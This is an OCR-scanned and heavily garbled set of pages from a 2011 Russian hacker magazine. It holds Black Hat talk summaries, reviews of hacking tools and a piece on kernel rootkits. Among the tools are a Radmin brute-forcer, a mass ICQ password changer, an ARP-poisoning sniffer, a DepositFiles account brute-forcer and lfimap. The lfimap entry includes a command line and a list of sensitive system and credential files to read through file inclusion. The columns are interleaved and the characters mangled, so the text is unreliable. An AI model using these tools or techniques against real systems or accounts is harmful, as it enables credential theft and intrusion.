уязвимости в ActiceX-компонентах клиентского софта; а также как

и

при помощи уязвимостей не просто получить шелл на сервере , а

незаметно подменить банковский счет клиента компании на свой,

для атак на СУБД

Oracle.

На этот раз он тоже ушел в сто­

- такие как Oracle Application 5eгveг

Oracle Fusion Middleware, что является основой для построения всех бизнес-приложений типа Oracle E-business 5uite.

а потом, получив перевод, поменять все обратно, скрыв следы.

Заключение

Вообще в бизнес-приложениях присутствует масса различных

В общем, тема бизнес-приложений сейчас активно развивается, так

уязвимостей, но наиболее интересные

-

это архитектурные. Их пре­

лесть заключается в том, что закрыть такую багу стро, а обновить установленную систему

- непросто и небы­

- еще дольше , так как это

может потребовать столько времени, что в течение этого периода

~

068

что если ты заинтересован в любых исследованиях в данной обла­

сти Iбудь ТО ВЗЛОМ или аналитикаl, то пиши письма на ResearchlO

dsecrg.com, Blackhat

и, возможно, ты станешь следующим , кто поедет на

:1. :х: ХАКЕР

04 /147/ 2011


5лучших докладов Bi k t201 :+ За пределами AutoRun: эксплуатац~я софтверных

касается

iPhone,

BlackBerгy, устройств на

Andro id

и Т.п. В таких

девайсах используется мощное программируемое U5В-железо,

уязвимосте~ с помощью внешних накопителеи

позволяющее реализовать альтернативные варианты «общения»

Разного рода малварь вот уже многие годы использует функцио­

защитных механизмов как со стороны компьютера, так и со сторо­

нальность автозапуска

ны мобильного устройства

Windows, приспособив в качестве одного

из каналов распространения внешние накопители (и прежде

с компьютером. Добавляем сюда практически полное отсутствие

- и получаем целый ряд совершенно

новых атак. Например, можно запрограммировать U5В-железо

всего флешки]. Да, эту фичу всегда было легко отключить , но тому

смартфона так, чтобы при подключении к компьютеру он опреде­

же самому 5tuхпеt это не п омешало идти по миру через

лялся как Human Interface Device (HID], то есть фактически мышь и

драйвы, опираясь на неизвестную ранее уязвимость

U5B-

Windows. В

клавиатура. Дальше ничего не стоит отправить системе последова­

этом докладе Джан Лаример пр едставил несколько новых тех-

тельность нажатий клавиш и движений мышью, выполняя любые

ник, которые может использовать малварь для автоматического

действия. Авторы доклада, Анжелос Ставроу и Чжаоху Уонг, пока­

выполнения зловред н ой загрузки с U5В-накопителей и при этом

зали также, как перевести смартфон в режим работы U5B-хоста и

вообще не зависеть от системы

получать контроль над другими мобильными девайсами, подключая

AutoRun винды. Где тут секрет?

Существует большое количество кода, который выполняется между U5В-драйверами и десктопными программами, которые, к приме­ ру, рендерят иконки и превьюшки для документов. Это открывает

их с помощью хитро собранного dаtа-кабеля.

=+ Деанонимизация LiveCD ОС

sесuгitу-исследователям большое количество целей для эксплуа­

Традиционные методики криминалистики обычно основываются на

тирования. Причем поскольку обычные пейлоады (вроде открытия

исследовании образа жесткого диска. Специалист может провести

шелла] здесь не всегда полезны, в докладе предложено несколько

целый ряд экспертиз, в том числе общее исследование файлов,

альтернативных нагрузок , которые немедленно предоставляют

восстановление удаленных документов, построение временных

хакерам доступ к системе . Проблема касается не только

диаграмм доступа к разным компонентам и т.д. Но если злоумыш­

Windows,

что продемонстрировал ресерчер, когда сумел разблокировать

ленник использует для работы LiveCD [мотай на yc l ], то привыч-

экран

ная модель проведения экспертизы летит в тартарары. Такие ОС

Linux,

вставив U5В-флешку в ноутбук.

полностью загружаются в оперативную память и никак не взаи­

~ Практические атаки на сотовые сети GPRS/EDGE/UMTS/HSPA

проведения обычного исследования файловой системы. Как быть ?

Еще несколько лет назад мало кто представлял, что для атаки на

Автор доклада, Эндрю Кэйз, поделился рядом техник для полного

модействуют с локальным диском. Это сводит на нет возможность

сотовую сеть можно будет использовать открытое доступное обо­

извлечения из памяти структуры файловой системы

рудование, стоимость которого не превышает

частичного восстановления ранее удаленного ее содержимого.

$10000. Дэвид Перес

LiveCD, а также

и Жозе Пико в своем докладе решили на практике продемонстри­

Помимо этого докладчик представил методику, при меняемую сей­

ровать, насколько просто сейчас установить фейковую базовую

час для анализа памяти приложения Тог, которое используется во

станцию (Rogue ВТ5], заставить телефон жертвы к н ей подключить­

многих LiveCD-дистрибутивах для а ноними зации работы в Сети и

ся и благодаря этому получить полный контроль н ад его общением

шифрования всего проходящего трафика.

через сотовый телефон. В основе атаки лежат две особенности

сотовых сетей. Первая заключается в полном отсутствии взаимной

авторизации в GPR5 и EDGE (2G] сетях, что при водит к тому, что

~ Эксплуатация Мас' а на кухне

GPR5 - и ЕDGЕ-устройства тотально уязвимы к такому виду атак.

Кто-то еще хочет сказать, что Мас

Смысл второй кроется в общем механизме работы, который реали­

система, для которой нет ни троев, ни эксплоитов? Чепуха l Парни

зован в телефонах, предназначенных для работы в

Дина Дай Зови и Винченца Иоццо решили прямо на

UMT5- и НБРА

-

это исключительно безопасная

Black Hat'e

(ЗG]-сетях. В случае недостаточного сигнала они принудительна

провести кулинарное шоу и приготовить несколько сплоитов для

подключаются к сетям GPRS/EDGE, что позволяет использовать

Мас. Шеф - повар показал все стадии работы над блюдом, начи-

атаку не только на

ная с поиска и выбора правильных ингредиентов (уязвимостей]

2G-,

но и на ЗG-деваЙсы.

и заканчивая разными способами их приготовления (техниками

~ Смартфон, подключенный по Эксплуатируем это!

USB?

эксплуатации] , которые каждый может использовать на своей соб­ ственной кухне. Продемонстрированные рецепты включают сплои ­ ты как для локального поднятия привилегий, так и для удаленного

Подключение через The Universal 5erial Bus (U5B] окончатель­

выполнения произвольнога кода через браузер. В качестве жертвы

но стало стандартом де-факта как для зарядки смартфона, так и

была выбрана последняя версия Мас

для обмена данными между ним и компьютером. Это в том числе

основным инструментом для приготовления сплоита стала

Х АКЕР

04 / 14 71 201 1

05 Х - 5now Leopard, а IDA Рго.


• • Mar licq 88'888 , snipper . ruJ

X-TOOLS Программа: ЕхПа ICQ Password Changer mass ОС: Windows 2000/ХР/200З ServerNista/2008Server/7 Автор: Zdez Bil Уа

Программа:

Lamescan 3 Windows 2000/ХР/200З ServerNista/2008Server/7 Автор: redsh ОС:

~ ---------------------------.

~.!J

.±J.::J.w 29 !J.!J.!J

~

xlra ICQ Password Chang", mass]

"'"-'

~

IЕхn"а ICQ PasswOl"d Changel" mass

~[~C!i...irieilisit~I~:~~?::~POS:do:;~p[~,=,=~[=:J:~-;J-III

I!'!c!p! Iгм 18IpC,13tI&. IIIcrиI

I n.pм.

UlN' Proxy

О

Done

О

Lelt

VNC / MYSQL / ORACLE пер ех ватывать сообщения

ICQ/ AI M/

JABBER / YAHOO/ MSN/ GADU - GADU / IRC / MRA

I будет наказан!

ICQ/IRC/ AIM/

HTTP / WWW/ NNTP / CVS/ TELNET/ MRA / DC++ /

SOCKS; SOClS5

j Radmin

П е ре х ватывать пароли

FTP / IMAP / POP3 / SMTP / LDAP / BNC / SOCKS /

о Proxy

st. t,

I

Снифаем правильно

Раиое

I

Меняем пароли

ICQ

менять МАС-адреса сете вы х карт;

просматривать трафик в сыром виде,

с возможностью фильтрации;

Почти год назад я уже описывал в нашей ру­

На очереди в нашем сегодняшнем обзоре

брике замечательный брут для

известнейшая в асечных кругах прога для

л е нны х

званием

Lamescan.

Radmin под на­

Н астало время предста­

массовой смены паролей на уинах. Пароль

пере х ватывать данные порта х

с

на

н е опреде­

помощью специального

е хtrеmе-ре ж има;

вить новую версию этой рульной п рограммы.

ме н яется, даже если в нем присут ствуют

Итак,

спецсимволы или кириллические символы.

и проводить оффлайн - анализ дампов ;

Для начала работы с тулзой необхо-

Lamescan 3 -

это тулза для восстанов­

ления забытых паролей к серверам

Radmin

2.Х

со х ранять пак еты в файл рсар-формата

удаленно анализировать трафи к ч е рез

и логинов/паролей к серверам Radmin 3.х.

димо выбрать файл со списком вида

Возможности и особенности проги:

« номер;пароль » , затем выбрать парольдля

работать со в с тро е нным

замены [фиксированный или слу ч айный,

пер ех ватывать и со х ранять в

также можно выбрать символы, из которых

формате сообщения РОР3 и

• •

Многопоточность;

брут серверов

Radmin 2. х

и

3. х

по словарю;

специальный многопоточный с к анер

портов с пинговкой И подцерж кой

RPCAP

демона ;

ARP poison ; eml-

SMTP ;

будет формироваться случайный парольi.

Далее ставим паузу между сменой пароля [О ,

пр о г у в к лючен иневидимый ОНСР с ер ­

если используются проксиi и опционально

в е р) .

с к анировать

ARP

и ОНСР (так же в

выбираем файл с проксями.

диапазонов любого размера , а также

При н ажатии кнопки «Старт» создается

О п исывать рабо ту всех фу н кц и й снифера

группировкой х о с тов по результатам

файл «пеwраss-.дата_время.tхt», В кото -

в данной рубрике бессмысленно, позтому

сканирования;

рый будут помещаться данные в формате

советую заглянуть на его официальный сайт

возмож ность со х ранения / загрузки

состояния сканирования ;

экспорт сбрученны х х остов в

или

CSV

viewer' а

для сбруч е нны х

х остов прямо из программы (логин / пароль вводится автоматич е с к и);

подцер жк а

SOCKS

для ТСР­

соединений;

I пtегсерtег. пегf.гu и внимательно изучить

Следует учесть, что возможен случай, когда

любезно предоставленные автором видео­

запрос на изменение пароля выслан , а ответ

туториалы к п роге.

не получен

HTML ;

запуск

« номер;новыЙ_пароль;старыЙ_пароль».

подробнейший х елп с описани ем

протокола авторизации

Radmin;

от к рытый ис х одный код ;

авто м атичес к ая проверк а

- программа выдаст «Request

failed. Check the old апd new password2». В таком случае может при годиться старый

Программа: UnShortURL ОС: Windows 2000/ХР/200З

Автор пассченджера с удовольствием

ServerNista/2008Server/7 Автор: avtuh

от вети т на все твои во п росы тут:

И звестно, ч то корот кие ссылки, генерируе­

сохраненный пароль.

avtuh .

ru/20 10/04/26/extra - icq - password -cha пgег ­

мые специальными сервисами для укора­

mass.html.

чивания ссылок, могут скрывать за собой не вполне безопасный контент. Эта программа

Программа: Ох455З-lпtеrсерtеr ОС: Windows 2000/ХР/200З

ально опасные ссылки.

в качестве бонуса на нашем диске ты сможешь

ServerNista/2008Server/7 ABTOp: ares

находит в нем короткую сгенерированную

найти и прогу

На очереди знаменитый снифер Ох4553-

ссылку, ищет, куда идет перенаправление

Iпtегсерtег от русского разработчика

по ней. Результат выдается в виде всплы­

обновлений .

HIMIKATa.

IpGeoBase

от мембера Античата

Данная вещь предназначена для

поможеттебе увидеть , куда ведут потенци­ Прога следитза буфером обмена и, если

ares'a.

генерации диапазонов адресов для брута по

Данная прога представляет из себя целый

вающего сообщения.

конкретным округам, регионам и городам.

хакерск и й комбайн и умеет следующее:

После запуска UпS h огtURL отображается

~

070

ХАКЕР

04/147/2 0 11


управления вызывается левой кнопкой

Программа: ОС: ·nix/win

мыши. Из меню можно отключить или

Автор:

в трее в виде зеленого флажка. Меню для

включить мо ни тори н г буфера. Ме н ю

lfimap

еtс / сl а mа v/ сlаmd . сопf

etc / clamav/freshclam.conf etc / ca-certificates. conf

Augusto Pereyra

«Link»

позволяет добавить/уд алить се р в и сы корот­

Windows

ких ссылок.

Ьооt.iпi

По дефолту поддерживаются следующие

AppServ / MySQL / data / mysql / user . MYD WINDOWS / sy st em32 / driversetc / hosts WINDOWS / repair / SAM

популярные сервисы:

ad.vu, adji x .com, alturl.com, b23 . ru, bit . ly, budurl . com, clck.ru, cli.gs, fly2.ws, goo.gl, idek. пеt, is . gd, moourl. сот, murl.kz, пп.пf, пsfw . iп, ow . ly , рпt.mе, shorl.com, sп.im,

Lfimap -

sпiрurl.соm, tiпу.сс, tiпуurl.соm,

автоматизации действий, направленных н е

tr.im, u . пu, url.ie, w3t.org, www. x .se, yep.it, yourls.org

на н ахождение уязвимости, а уже на извле­

Как видишь,

Раскручиваем инклуды это крайне полез н ая тулза для

чение п ользы с сайта , уязвимого к

LF I (local

Программа: IСQ Password Recalling ОС: Windows 2000/ХР/200З ServerNista/2008 Server/7 Автор: Karas

Особенности и функционал проги:

дет к открытию конечной ссылки (туда, куда перенаправляет короткаяl. Программа под­

это очень хорошее

рутинных действий с инклудами.

file includel. Клик по всплывающему сообщению приве­

lfimap -

средство для автоматизации обычных

,

1' .

IPR -

Кроссплатформенность

, ' -

'QШJ[Ю

о

Программа для восстановления

забытого пароля от

Ica

в любом клиенте

держивает многократные перенаправления

( написана на Питоне) ;

по коротким ссылкам.

щайся на официаль н ую страницу програм­

• автоматическое определени е (windows, linux); • автоматическое обнару ж ени е

мы:

файловой системы;

Iogin.icq.вom~ Згrем lIOI1P06!IAre ~ 'РА не ~ в"м вau мpDЛЬ ecll4l11<J1O'1effi1 0fIIИЯ "Бe3CМCНbit

~ах~сереер_~щcom~

За поддержкой и ответами на вопросы обра­

avtuh .rul201 0/06!30/unshortuгl . html .

Программа: DepositFiles Brute ОС: Windows 2000/ХР/200З

ServerNista/2008 Server/7

• •

Автор: Человек

(пара м етры

-

!lS!-_I!

Good

О О

Брут аккаунтов

windows;

поис к паролей в файла х к онфигурации;

для восста;оеления мpDnЯ 3«1!fCТИТе ICQ КJИIIfТ. 8 котором oн~. иaиrе 8 настройки И ~e c:eoi! 'Р (ИIl41v.о.О. 1J 8 КIIЧ8CI'8e сервера _ориз_ (вмecro

_ ". Не ~Te после восст _ _ nocтaeиn; 8 Внимание! дожоя nporраммо предназначена

неnpaвомерное ИCnOI1b3О8ание данной пporраммы.

поддерж ка Ьаsiс - аут е нтифи к ации

«- -u ser »

И

с)

«- - pa ssw» );

подстанов к а пull -б айта для об х ода

рl

ИСКl1ючwrеl1ЬНО для восст аНОВl1ения забытых napol1ей! Авт ор программы npeд!ll1реждaer 06 ответственности за

2009 byКarIlS, I<q 148193

Восстанавливаем пароль от Аси

ко нтролирующи х ме х анизмо в (параметр

!

«-- null »); • формирование отчета о р а б оте (параметр «- -output ») ; • поддержка proxy (параметр «--proxy») .

"'"'"''''1'',..-----

...

корня

поиск дефолтны х файлов для серверов

на базе liпu х и

а) ОС

в заключение спешу представить твоему вниманию еще одну полезную асечную про­

гу

-

'СО

Password Recal li ng.

Наверняка ты когд а-л и бо забывал пароль

от 'СО , сохраненный в кл и енте

(OI P, Jimm,

официальная 'СО и такдалее l, долго

depositfiles.com

Запускается скрипт следующим образом:

медитировал и пытался его вспомнить.

Конечно , можно воспользоваться систе­ Очень часто, когда возникает необходи­

мость быстро и безболезненно скачать

python lfimap . py -t http ://www . test. com/ss .php ?page=[LFI]

что-либо с известного файлообменника

мой ретрива для установки нового пароля или же использовать различные програм­

мы для расшифровки хешей, сохраненных При запуске без пара метров ты сможешь

в клиентах. Но первый способ неудобен и

тривать десятки навязчивых баннеров и

увидеть небольшой хелп по скрипту.

длителен, а второй

ждать какое-то время перед появлением

Пример дефолтных файлов разных ОС , кото­

ет, поэтому проще всего воспользоваться

ссылки н а скачивание. При этом скачивание

рые будет искать прога:

данной программой, которая ими т ирует

depositfiles.com , тебе

приходится просма­

в бесплатном режиме проходит на крайне невысокой скорости. Имен н о в таких слу­

-

не всегда с р абатыва­

сервер авторизации , ждет п одключения,

ку ш ает

U1N и

пароль, а затем сообщает его

тебе.

Brute.

Linux var / log / httpd / acces s_log proc / self/ en viron

Особенности брутфорса стандартны для

р r ос / vеr s iоп

1. Запускаем

программ такого рода:

var/ log/ apache2 / access . log var / log/ httpd-access.log

нем паролем.

2. Указы ваем

Брут по списку ло г ин : пароль;

usr / lосаlеtс / арасh е 22 / httрd.сопf

авторизации (можно указать

многопоточность;

еtс / арасhе2 / арасhе 2 .сопf

З. Пробуем подключиться.

работа без прокси;

еtс / httрd / сопf / httрd . сопf

4. Видим

простота в использовании;

var / log / mysqld.log etc / mysql / my.cnf var / lib / mysql / mysql / user . MYD etc / inittab etc / sysctl.conf etc / passwd etc / ts . conf

мечена галка «Безопас н ый вход» , тул за не

чаях тебе пригодится утилита

• • • • •

DepositFiles

высокая скорость .

С помощью данной программы ты легко смо­ жешь заполучить необходимое количество голд-аккаунтов для удобного скачивания файлов.

ХАКЕР 04/147/2011

Схема работы с прогой достаточно проста:

'СО клиент с сохраненным в свой IР в качестве сервера

127.0.0.11.

свой пароль (если в клиенте от­

сможеттебе п омочы.

5.

Меняем сервер подключения в кл и енте

обратно на lоglп . lсq . соm . Автор с удовольствием ответит на твои

вопросы и предложения в топике forum . asechka .ru/showthread .php?t= 109235 . :х:

~

071


• • Алек с андр Эккерт I st a nn ic . m an ragm ait.coml

. . . . ЬяВОлЬсКиЕ руткиты

Александр Эккерт рассказывает о гiпgО-руткитах ,

с) Тема руткитов всегда актуальна. Тем более, если речь идет о новом типе руткитов

- использующих технологию возвратно­

ориентированного программирования. Вводную статью по этой теме мы представляли на твой суд в прошлом номере ][, сегодня же мы по­ стараемся развить ее в более практическом направлении. Хотя, ко­ нечно, исходников не жди - все реальные наработки по этой теме сей­ час находятся в глубоком привате. На сегодняшний день использование драйверов для взаимодей­

ложится непростая задача

ствия с « нутром» системы [особенно для систем безопасности

потому что если пустить этот процесс на самотек, то в лучшем

-

обеспечить проверку таких данных,

Windows] - устоявшаяся практика. Многие программы использу­

случае будут грабли со стабильным функционированием такого

ют их как окно для доступа в нулевое кольцо. Впрочем , тут стоит

драйвера, в худшем

отметить один очевидный факт: кроме основных функций п одоб­ ные драйверы оснащены также механизмами взаимодействия,

- можно поставить под угрозу всю ОС.

Уязвимости в я~ре?

пред н азначенными для обмена данными между драйвером и

ИХ есть у меня.

программными компонентами, работающими в пользовательском

Уязвимостей в ядре

режиме . Заметь , код , работающий на высоком уровне приви­

они появляются: иногда в виде при з рачных намеков , иногда

легий, получает данные от к о да , работающего на уровне при­

виде убедительных отверстий толщиной с главный калибр линко­

вилегий более низком. Это значит, что на плечи разработчика

ра « Миссури». Вспомним, например ,

~

072

Windows не так много, но время от времени -

в

2008 год , когда впервые пояХАКЕР

04/147/201 1


IOCТL

Fuzzer в действии

вилась информац и я об уязвимости

MS08-025, эксплуа­

созданного с помощью возвратно-ор и ентированного

тация которой позволяла вы п олнить произвольный код

кодинга, будет IRP-пакет, а вернее

в режиме ядра и достичь бла годаря этому локального

низм, известный под общим названием «диспетчер

повышения привилегий на операционных системах

ввода-вывода» и призванный взаимодействовать

Windows

ХР и

Windows Server 2003.

Это далеко не пер­

вая уязвимость, которая была обнаружена в

win32k.

между

-

ц елый меха­

ring3 и ringO. Существует достаточно много

хорошо и не очень документированных системных

sys, и я абсолютно уверен, что и не последняя. Такая

механизмов, которые могут быть использованы для

ситуация сложилась в первую очередь из-за того, что

организации взаимодействия кода пользовательского

найдешь классный

изначально графическая подсистема работала в режи­

режима с драйверами режима ядра. Самыми функ­

труд «Уязвимости в

ме пользователя [по Windows NT 4.0 включительно], но

циональными и наиболее часто используемыми явля­

драйверах режима

позже, чтобы сократить количество ресурсоемких опе­

ются те механизмы,

ядра для

раций по переключен и ю потока в режим ядра, разра­

чером ввода-вывода. В конце концов, именно они и

которые представляются диспет­

На DVD-дискеты

Windows»

от исследователя

создавались разработчиками операционной системы

Esagelab Дмитр и я

систему в Ring-O. Однако, в силу достаточно большого

для подобных задач. Давай вспомним, как обычно

Олексюка.

объема кода и архитектурных особенностей, во время

организуется работа с диспетчером ввода-вывода со

этого переноса не было уделено достаточно внимания

стороны драйвера и приложения.

ботчики

Windows решили п еренести графическую под­

вопросам безопасности, что и способствовало появ­

После загрузки драйвер создает именованный

лению в

объект ядра «устройство», используя функцию

win32k .sys большого количества уязвимостей

10CreateDevice. Для обработки обращений к соз­

разной степени опасности. Вообще подсистема

win32k.sys -

довольно дырявая

данным устройствам драйвер ассоциирует со своим

штукенция. Например !спасибо Лозовскому за подгон

объектом набор функций-обрабо т чиков. Эти функ­

инфы], недавно новая O-day уязвимость была обнару­

ции вызываются диспетчером ввода-выво д а п ри

жена в этой графической подсистеме винды. Атаке под ­

вы п олне нии о п ределе нн ых о п е р аций с устройством

Два интересных бл ога:

вергся

[откр ы т и е , зак р ытие, ч т ение, за п ись и так далее], а

• jOO r u.vexI11Ium.org ;

для п олучения различных значений ключей реестра с

также в случае некоторых системных событ и й [ напри­

• Ivanle fOu.tuxfam ily.o rg.

помощью таблицы запросов и имеющий EntгyContext в

мер, завер ш ения работы системы или монтирования

WinAP I RtlQue ryRegistryValues, ис п ользуемый

качестве буфера вывода. Для успешного обхода защиты

раздела жесткого диска]. Структура, описывающая

злоумышленник должен создать поврежденный ключ

объект «драйвер», называется

реестра или управлять ключами, доступ к которым раз­

а эти функции - IRР-обработчиками [IRP -

решен только обычным пользователям.

Request Packet]. Их адреса драйвер помещает в поле

Детали общей мозаики Как я говорил в начале этой статьи, для успешной

DRIVER_OBJECT, 1/0

DR IVER_OBJECT ~ МаjогFuпсtiоп, которое является массивом указателей на IRР-обработчики и имеет следующий прототип:

р еализации возвратно-ор и ентирова н ного руткита

нам все же понадоби т с я гО-уязвимость , которая

typedef

позволит п одчинить себе по т ок выполне ни я пр о­

NTSTATUS

граммного кода на ядер н ом уровне. Точнее, нужен

( *PDRIVER_DISPATCH)

какой-нибудь драйвер, который содержит в себе баг

in struct _DEVICE_OBJECT *DeviceObject,

с переполнением буфера, который позволит злоу­

мышленнику овладеть стеком ядра. В основе руткита,

ХАКЕР о, / Н 7/

20 1 1

in struct _IRP *Irp

);

~

073


Появились примеры возвратно-ориентированного кодинга под архитектуру

SPARK

Появление техники « заимствованны х кусков кода » от Себастьяна Крамера Первый червь, который использовал переполнение буфера Первый зксплоит « возврата В библиотеку» от

(CodeRed)

Solar Designer

Появление первых сообщений о переполнениях буфера на

Bugtrack'e

1970 I

... ..... о-

"уб, , ,

Статья во Статья

Nergal's в

о-

~

о-

Phrack

чувака по имени

журнале Ноуау

Phrack

... ""'"""'""

Aleph

-

буф'"

Опе

оо-

...,

CD CD

h Первая зпидемия винтернете появление «Червя Mo~ca» "' ...

оо-

I

1980

...

o.n

1990

o.n

с;

= ..... I

CD

= = .....

I

2000

= = .....

...= = .....

2010 I о-

= = .....

6

«Smashing the Stack for Fun and Profit»

на тему « продвинуты х зксплоитов возврата в библиотеку»

Shacham

ввел понятие возвратно-ориентированного кодинга для х86

Появились первые при м еры возвратно-ориентированного кодинга

П араметр

DeviceObJect указывает на конкрет ное устройство

стеке таким образом, чтобы оно указы вало на последователь­

[у одного драйвера их может быть много], а Irp - на структу р у,

ность ядерных инструкций "РОР

соде ржащую различную инфо рм ацию о за пр осе к устройс т ву:

щее в стеке зна чение, чтобы оно указ ывало на точ ку входа в

конт рольный код , буферы для входящи х и и сходящих данных,

возвратно-ориентированную програм му.

статус завершения обработки запроса и многое другое.

ESP; RET»,

а также сле дую­

Переписав эти восемь байт, мы сможем ско нфигурир овать стек так , что бы он указывал на начало нашей возвратно­

Эксплойт?

ориентированной программы. Любой подобны й н ебезопасный

Мы постарае мся заэ кспл о йти ть самую ра с пр ост р аненную и

код поз во ляет легко реализовать нашу атаку: простая уязви­

часто вст р ечающуюся уязвимость переполнени я буфера. Это

мость в ядре или любом др айвере, заг р уже нном в адресное

легко сдела т ь п утем пере за писи буфе р а в созданном драйвером

пр остранство ядра , является достаточны м усло вием, чтобы

«устройстве » , тем самым заместив возвра щ аемое значение в

скомп рометировать всю систему и выполнить зло на меренный

Виртуальные машины ХР 5Р2 ~--

~

074

• VMwdre WotkstatlOfI

-

- - ------- -

~

~~

ХАКЕР

04 / 147/ 2011


о о

о

о .-

>-

с:

о о о

::3

<D

()

ф

СУ

~

U.

о о о

N

О

00

3f

1f

5f

9f

7f

bf

df

ff

БllБЛlIотека LI8C: частота ВСТI)ечаеldОСJlI ба"т после IIНСТРУЩIIII ПIII()I ПРIIХОДЯТСЯ на I'НСТРYl<ЦlIII Ох88

OxFF (косвенны" пеl)еход). 11 Ох89, KOTOI)bIe являются опкодаldllllНСТI)Yl<ЦlIII MOV

возвратно-орие нтированный код. Правда, для реализации э ти х

могут серьез но п од п ортить вы п олнение кода руткита. Решить

ковар н ых пл анов нужно решить один существен ны й вопрос

эту пр облему, как я говорил ранее, довольно просто

-

куда за пи х н ут ь имидж н а ш ей пр о гр аммы? Е сть два п ут и.

-

для этого

нужен загруз чик. Можно сде лат ь так: за гр узчик должен выде­

Во-первых, экс пл ой т может перезаписать весь стек ядра нашим

лить память внеподкачиваемом ( п опраgеd) пуле , который никог­

кодом, од н ако с т е к не резиновый, и в н его может влезть (в

да не сбрасывается на жесткий диск, и ско пир овать туда тело

случае Wi пd оws l всего три страни ц ы, то ес т ь 12 Кб. Во-вторых,

руткита

экс п лойт должен (по край н ей мере, н а на чаль н ом эт апе вы по л­

будет за п у щ е н . П ри этом, заметь, имидж находится в пользова­

н е н ия l постараться пр одержать имидж самой программы в

т ельском пр ост ран стве, что ограничивает способ н ос т ь механиз­

пользова т ельском режиме . Для решен и я этой проблемы иде­

мов защиты ядра запретить за г рузку н ашего руткита.

ально будет написать заг р узчик нашего будуще го руткита. Н о об

Когда общ ий ход выпол н е н ия пр о гр аммы захо ч ет вернуться из

этом

-

как он

есть вероятность т ого , что то ч ка возврата п ереза п иса н а обра­

Подводные камни

ботчиком прерывания. Чтобы и збежать та к и х п р облем, нужно

Их тоже полно. Од н о и з главн ых пр е п ятствий, возн ик аю щ их на пути

п еред тем

некоей подпрограммы, это може т при вес ти к краху, п оскольку

чуть ниже.

реализации возврат н о-орие нти рованного руткита,

-

то ,

как

манипулирует своим яде рн ым стеком. Все существую­

Windows

из пол ьзовательско г о пространства

также предусмотреть некую оп ц ию д инами ч еского восс т а н ов­

ления «поврежденного» у ч ас т ка ко д а , н о уж это остается тебе в качестве домашнего задания.

щие версии

Кроме то г о, если в стеке попадутся адреса и з п одкачиваемо й

болью для систем ны х разработчиков, пишущих драйвера. Если

«синим

ты не знаешь, что такое

Это проблема решается ис п ользованием функции

Wind ows используют в ядре так называемые уровни за пр осов прерываний (IRQLI, являющиеся настоящей головной IRQL,

то совсем уж вкратце

-

это меха­

памяти, не избежать п роблем с

IRQL,

что неминуемо приведет к

экранам».

Virt ual Lock ,

низм приоритетов в ядре , весьма похожий н а уровень приорите­

которая позволит залочить в п амя т и о пр еделен н ое количес т во

та потоков в юзермод н ых пр о гр аммах.

страниц проц есса и не даст ядру скинуть э т и страницы н а диск.

у каждого пр ерыва ния есть свой зара н ее о пр еде л ен н ый уро­

Од нак о, по н е и звестным для меня п р ичинам, это н оу-хау н е

вень. Когда воз ника ет прерывание, то в первую о ч ередь осу­

всегда р аботае т с областями памяти ра змером больше о дн ой

ществляется сравне ни е с у ро в н ем

стра н и ц ы.

IRQL,

который имеет текущий

поток. В с л учае, если н овое прерывание обладает более низким

IRQL, исполнение программнога кода от нового пр ерывания ставится в очередь до лучших време н хода и с п ол н е ния

программы

-

новое прерывание

н е может его за мор озить , если

Оффтоп Боль ши нство уязвимостей , возникаю щ их и з-за неправи льн ой обработки данных, которые драйвер п олучает в IRР -за пр осе ,

оно ниже по уровню. Дл я грамотного читателя все это , конеч­

доволь н о од н от ипны, и мы уже н е ра з о них писали. З н аю щи е

н о , не н овос т ь. Н о самое интересное пр и этом происходит при

люди говорят, чт о некорректная обработка входн ы х данны х не

попытке доступа к подкачиваемой памяти (то есть той, кото р ую

является разовым явлением и, найдя одну уязв им ость, можно с

ядро п ер и одическ и сб р асывает на жестк ий ди ск ) , п оско ль ку

большой вероятностью н айт и и дру гую , пр оследив либо общий

это имеет определенные последствия. Главное , что следует

ход вы п олне ни я пр ограм мы, либо другие участки п рог рамм ­

уяс нит ь

н о га кода , вы п олняю щи е аналог и чную за д ачу. С такой зада­

-

д ос ту п к п о дк ач ива емой п амя ти силь н о огра нич е н

на высоких

IRQL'ax ,

блемам [читай -

и при реализации к ода это при водит к про­

BSO D' aM). Ведь всякий раз, когда происходят

прерывания (и, следовательно, они долж н ы бы ть обработаны ядром Windows), яд р о, как правило, начинает оперировать со

чей хо р ошо сп р авляется утилитка IOCTL Fuzzer Icode. goo g le.

co m / p/ ioct lf uzzerl . действие кото р ой заключается в г е н ера ции и отправке заведомо н екорректных вход н ых данных с р асчетом

на то. что код . который их обраба т ывает , п опросту н е учи ты вает

с т еком. При эт о м обработчик прерывания выделяет память ни же

возможность при сутствия п одоб ны х некорректностеЙ.

текущего з н аче ни я

На самом деле, таких уязвимастей п ере п ол нения буфера ,

ESP, нежели об ра ботчик стека. И хо тя такое

поведе ни е ядра в п олне пр иемлемо в об щ ей ситуа ции, в нашем

которые можно заэкс пл ой тит ь при п омо щ и фич возвратно­

случае э т о може т привести

ориентированного коди нга в сторонних драйверах. ваго н и

к нежелательным п оследс тв иям ,

поскольку значения стека, находящиеся ниже текущего ESP,

Х АКЕР

04 / 147 /2 011

маленькая т ележка. :Х:

~

075


• • Се р геи Гр еков

ВЗРЬIВАЕМ ЭВРИСТИКУ ППQСТ ые мето.о.ыобходаa эвристики Symantec, МсА ее и Irend Mlcro

f

С) Сегодня мы представляем на твой суд тест эвристических защит со­ временных антивирусов. Причем не просто антивирусов, а настоящих лидеров мировой индустрии в области информационной безопасности и mа[wаге-детекта. Проверим на деле, чего стоит их лидерство. Кстати, а кто же они, э ти лидеры? Посмотрим отчет аналитиче-

Syma ntec

екай компании

Вот их мы и протестируем в первую очередь. Кого еще? Вот,

IDC за 2009 год. Увы, более актуальные данные

пока [на момент написания с татьи -

конец февраля] отсутству-

и

McAfee

держат больше половины рынка.

например, третье и пятое место -

Trend Micгo и Sophos.

ют. В соответствующей таблице мы немного модифицировали

Причина проста

l

оригинальный отчет, заменив в последней колонке рост за

краш-тесты этих антивирусов лично мне на глаза давно не попа-

2008-

2009 г оды на долю мирового рынка. Итак, из таблицы в идно, что

~

076

-

мне так хочется

Шучу - шучу. На самом деле,

дались.

ХАКЕР о" /147/ 2011


ОТ редакции Александр Лозовский, редактор рубрики с давних времен бытует миф о том, что запрятать от эвристики прогу, написаННУЮ"на ассемблере, не

так просто. Лаборатория][ проверила это утверж­ дение. Результаты традиционно плачевные

- наш

даунлоадер в первозданном виде был детектиро­ ван едва ли половиной антивирусов, представ­

ленных на ВирусТотале. Что уж говорить о более извращенныхтестах? Да, моеувлечение ВирусТо­ талом можно подвергнуть справедливой критике

-

Доход

Компания

ведь на этом сервисе тусуются антивирусы с

